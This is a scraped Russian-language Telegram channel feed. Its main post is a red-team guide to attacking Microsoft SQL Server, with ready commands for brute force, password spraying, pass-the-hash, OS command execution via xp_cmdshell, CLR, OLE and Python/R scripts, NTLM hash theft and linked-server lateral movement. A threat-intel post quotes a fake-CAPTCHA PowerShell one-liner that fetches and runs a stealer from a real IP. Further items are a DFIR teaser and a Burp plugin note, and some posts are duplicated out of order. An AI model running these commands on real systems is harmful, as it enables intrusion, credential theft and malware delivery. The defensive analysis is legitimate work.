Forwarded from REDtalk (closed_character)
На собеседованиях я часто спрашиваю про абьюз Microsoft SQL Server, и, к моему удивлению, многие знают о нём поверхностно. А ведь MSSQL широко используется в корпоративных сетях и при неправильной настройке может стать удобной точкой входа для атакующего.
В этом посте я постарался собрать основные техники абьюза MSSQL, которые помогут лучше понять возможные векторы атак, подготовиться к собеседованию и собрать ваши знания воедино.
Microsoft SQL Server (MSSQL) — это реляционная СУБД от Microsoft, активно используемая в корпоративных сетях для хранения и обработки данных.
Основные компоненты:
🔹 Database Engine — отвечает за хранение, обработку и управление данными.
🔹 SQL Server Agent — автоматизация задач (например, резервное копирование).
🔹 SQL Server Browser — помогает клиентам находить MSSQL-инстансы.
🔹 SSIS (SQL Server Integration Services) — инструмент для интеграции данных.
🔹 SSRS (SQL Server Reporting Services) — генерация отчетов.
🔹 SSAS (SQL Server Analysis Services) — аналитика и обработка данных.
Основные роли в MSSQL:
🔹 sysadmin — полные привилегии на сервере.
🔹 db_owner — полные права в конкретной базе данных.
🔹 db_datareader — доступ только на чтение данных.
🔹 db_datawriter — возможность изменять данные.
🔹 public — назначается всем пользователям по умолчанию и может давать больше доступа, чем кажется.
Способы аутентификации:
🔹Windows Authentication — через доменную аутентификацию (NTLM/Kerberos).
🔹 SQL Authentication — локальные учетные записи MSSQL (sa, пользовательские логины).
Обнаружение MSSQL в сети
Прежде чем “что-то” ломать, нам это “что-то” надо найти.
#PowerUpSQL
Get-SQLInstanceDomain
#nmap
nmap -p 1433 --script ms-sql-info <IP>
#Metasploit
auxiliary/scanner/mssql/mssql_ping
#go-windapsearch
go-windapsearch -d domain.local -u Administrator -p 'password1111' -m custom --filter="(&(objectClass=computer)(servicePrincipalName=*MSSQLSvc/*))" --attrs cn,servicePrincipalName
#brute force
hydra -L users.txt -P pass.txt <IP> mssql
netexec mssql <target-ip> -u username -p passwords.txt
#password spraying
netexec mssql example.com -u usernames.txt -p 'password' --no-bruteforce --continue-on-success
#Pass-the-Hash
netexec mssql example.com -u usernames.txt -H <NTLM_HASH> --continue-on-success
impacket-mssqlclient DOMAIN/user@IP -hashes <YourHash>
Основной процесс SQL Server — это sqlservr.exe. Даже если у учетной записи SQL Server в Windows нет высоких привилегий, в самом SQL Server она по умолчанию получает роль sysadmin.
Компрометация службы SQL Server может привести к компрометации всего домена!
Шаг 1: Найдём локальный SQL Server.
# PowerUpSQL
Get-SQLInstanceLocal
Шаг 2: Получаем учетную запись SQL Server
#PowerUpSQL
Invoke-SQLImpersonateService -Verbose -Instance your_instance_name
Злоумышленник, имея доступ к MSSQL, может выполнить команды Windows на сервере. Может он это сделать следующими способами:
🔹CLR (Common Language Runtime) Assembly — это механизм в Microsoft SQL Server, который позволяет выполнять .NET-код (C#, VB.NET, etc.) внутри базы данных.
#PowerUpSQL
Invoke-SQLOSCLR -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"
🔹OLE Automation Procedures — это механизм в Microsoft SQL Server, который позволяет запускать объекты COM (Component Object Model) напрямую из T-SQL.
#PowerUpSQL
Invoke-SQLOSOle -Username sa -Password Pass123 -ServerInstance <IP> -Command "whoami"
🔹xp_cmdshell - встроенная хранимая процедура в Microsoft SQL Server, которая позволяет выполнять команды Windows напрямую из T-SQL
#SQL Server CLI
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
#PowerUpSQL
Invoke-SQLOSCmd -Username sa -Password sa -Instance your_instance_name -Command "whoami"
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Forwarded from REDtalk (closed_character)
<продолжение>
🔹External Scripts (Python/R) - механизм в Microsoft SQL Server, который позволяет выполнять Python и R-код
👅 UNC Path Injection
Позволяет утянуть NetNTLM-хеш через SMB
🤪 Lateral Movement через Linked Servers
Linked Servers — это механизм в Microsoft SQL Server, который позволяет подключаться к другим SQL Server'ам или внешним базам данных (MySQL, Oracle, PostgreSQL, файловым источникам и т. д.)
На этом всё, друзья! 🎯
Всем удачного хакинга и до новых встреч!
#redteam
🔹External Scripts (Python/R) - механизм в Microsoft SQL Server, который позволяет выполнять Python и R-код
#SQL Server CLI
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
#PowerUpSQL
#REMOTE
Invoke-SQLOSCmdPython -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"
Invoke-SQLOSCmdR -Username sa -Password Pass123 -Instance your_instance_name -Command "whoami"
#LOCAL Instance
Get-SQLInstanceLocal | Invoke-SQLOSCmdPyrhon -Verbose -Command "whoami"
Get-SQLInstanceLocal | Invoke-SQLOSCmdR -Verbose -Command "whoami"
Позволяет утянуть NetNTLM-хеш через SMB
#SQL Server CLI
EXEC xp_cmdshell 'net use Z:\\YOUR_IP\share';
#PowerUpSQL
Invoke-SQLUncPathInjection -Verbose -CaptureIp YourResponderHost
Linked Servers — это механизм в Microsoft SQL Server, который позволяет подключаться к другим SQL Server'ам или внешним базам данных (MySQL, Oracle, PostgreSQL, файловым источникам и т. д.)
#Просмотр связанных серверов
EXEC sp_linkedservers;
#Выполнение команды на удалённом сервере
EXEC ('whoami') AT [LINKED_SERVER];
#PowerUpSQL
#поиск связанных серверов
Get-SQLServerLink -Instance YourInstance -Verbose
#проверка прав на удаленном сервере
Get-SQLServerLinkCrawl -Instance YourInstance -Verbose
#включаем xp_cmdshell на linked сервере
Get-SQLServerLinkCrawl -Instance YourInstance -Query "EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT YOUR_LINKED_SERVER"
На этом всё, друзья! 🎯
Всем удачного хакинга и до новых встреч!
#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
The DFIR Report
Cobalt Strike and a Pair of SOCKS Lead to LockBit Ransomware
Key Takeaways This intrusion began with the download and execution of a Cobalt Strike beacon that impersonated a Windows Media Configuration Utility. The threat actor used Rclone to exfiltrate data…
Forwarded from ESCalator
Радиолюбителям приготовиться 📻
Внутренние системы группы киберразведки обнаружили взлом сайта для радиолюбителей. Сайт существует с 2017 года и стабильно входит в число первых результатов поиска в Яндексе.
При входе на сайт пользователю сразу же предлагается пройти проверку и доказать, что он не робот. Однако вместо привычного набора задач при клике на кнопку «Я не робот» запускается JavaScript-функция. Она не выполняет проверку, а копирует заранее подготовленный текст в буфер обмена (скриншот 1).
Пользователю предлагается следовать инструкциям: открыть окно «Выполнить» (Win+R) и нажать Ctrl+V, чтобы вставить скопированный текст. При этом в буфер попадает команда:
Из-за ограниченного размера окна «Выполнить» отображается лишь последняя ее часть (скриншот 2):
Это позволяет скрыть от глаз невнимательного пользователя факт выполнения вредоносного кода. Команда запускает PowerShell в скрытом режиме, отключая проверки безопасности, скачивает удаленный ps1-скрипт по указанному URL и сразу его выполняет. Ранее о подобных способах распространения ВПО писали наши коллеги. А недавно схожий инцидент зафиксировал наш SOC (но об этом — в следующих постах).
📸 Скрипт представляет собой примитивный стилер. Вредоносный инструмент скачивается в систему и выполняется для извлечения данных (в числе которых — имя компьютера и пользователя, сведения об операционной системе, процессоре, дисках, а также внутренние и внешние IP-адреса), файлов (документов, таблиц, презентаций, текстовых материалов и изображений, найденных на рабочем столе и в папке «Загрузки»), а также для создания 300 скриншотов экрана с интервалом в 30 секунд. Кроме того, в скрипте присутствуют комментарии на русском языке (скриншот 3).
После сбора информации формируется команда
Скрипт взаимодействует с IP-адресом
IoCs
#TI #ioc
@ptescalator
Внутренние системы группы киберразведки обнаружили взлом сайта для радиолюбителей. Сайт существует с 2017 года и стабильно входит в число первых результатов поиска в Яндексе.
При входе на сайт пользователю сразу же предлагается пройти проверку и доказать, что он не робот. Однако вместо привычного набора задач при клике на кнопку «Я не робот» запускается JavaScript-функция. Она не выполняет проверку, а копирует заранее подготовленный текст в буфер обмена (скриншот 1).
Пользователю предлагается следовать инструкциям: открыть окно «Выполнить» (Win+R) и нажать Ctrl+V, чтобы вставить скопированный текст. При этом в буфер попадает команда:
PowerShell.exe -WindowStyle Hidden -nop -exec bypass -c "iex (New-Object Net.WebClient).DownloadString('http://45.61.157.179/script.ps1') # 'I am not a robot - reCAPTCHA ID: 477237535673 TRUE'"
Из-за ограниченного размера окна «Выполнить» отображается лишь последняя ее часть (скриншот 2):
I am not a robot - reCAPTCHA ID: 477237535673 TRUE
Это позволяет скрыть от глаз невнимательного пользователя факт выполнения вредоносного кода. Команда запускает PowerShell в скрытом режиме, отключая проверки безопасности, скачивает удаленный ps1-скрипт по указанному URL и сразу его выполняет. Ранее о подобных способах распространения ВПО писали наши коллеги. А недавно схожий инцидент зафиксировал наш SOC (но об этом — в следующих постах).
После сбора информации формируется команда
curl, которая посредством POST-запроса HTTP отправляет данные на сервер злоумышленников с адресом http://45.61.157.179/upload.Скрипт взаимодействует с IP-адресом
45.61.157.179 (AS 14956, ROUTERHOSTING, США), где размещен домен eschool-ua.online. На этом сайте находится форма для входа в сервис DrobBox, предположительно функционирующий как командный центр злоумышленников (скриншот 4). На момент написания поста домен уже недоступен.IoCs
45.61.157.179
eschool-ua.online
4bdaa2e9bc6c6986981d039b29085683ed36b5c2549466101a81ad660281465c
#TI #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from Adaptix Framework
Forwarded from haxx
🛠 Всем привет.
Я тут допилил плагин CSP Recon для Burp Suite для рекона по Content-Security-Policy хэдерам.
Общая идея этого вида рекона в том, что в хэдерах Content-Security-Policy можно найти дополнительные домены/поддомены по исследуемому нами таргету. Зачастую это будут скучные интеграции (например разного рода аналитика, соцсети, видеохостинги), но иногда попадается что-то интересное.
Для работы "по площадям" можно воспользоваться консольной csprecon (тут писали), но это не сработает вглубь приложения. Смысл в том, что у больших и склеенных из разных кусков приложений в разных частях бывают разные CSP полиси. Например, возьмем Яндекс. По пути
Теперь это безобразие можно детектить в фоне, пока тыкаешь кнопки и кавычки.
🔗 Где исходники, Билли?
https://github.com/haxxm0nkey/csprecon-burp-extension
Я тут допилил плагин CSP Recon для Burp Suite для рекона по Content-Security-Policy хэдерам.
Общая идея этого вида рекона в том, что в хэдерах Content-Security-Policy можно найти дополнительные домены/поддомены по исследуемому нами таргету. Зачастую это будут скучные интеграции (например разного рода аналитика, соцсети, видеохостинги), но иногда попадается что-то интересное.
Для работы "по площадям" можно воспользоваться консольной csprecon (тут писали), но это не сработает вглубь приложения. Смысл в том, что у больших и склеенных из разных кусков приложений в разных частях бывают разные CSP полиси. Например, возьмем Яндекс. По пути
/ мы получаем одну полиси, а по пути /portal/set/any совсем другую. Так можно находить места склейки приложений и потенциально новые домены.Теперь это безобразие можно детектить в фоне, пока тыкаешь кнопки и кавычки.
🔗 Где исходники, Билли?
https://github.com/haxxm0nkey/csprecon-burp-extension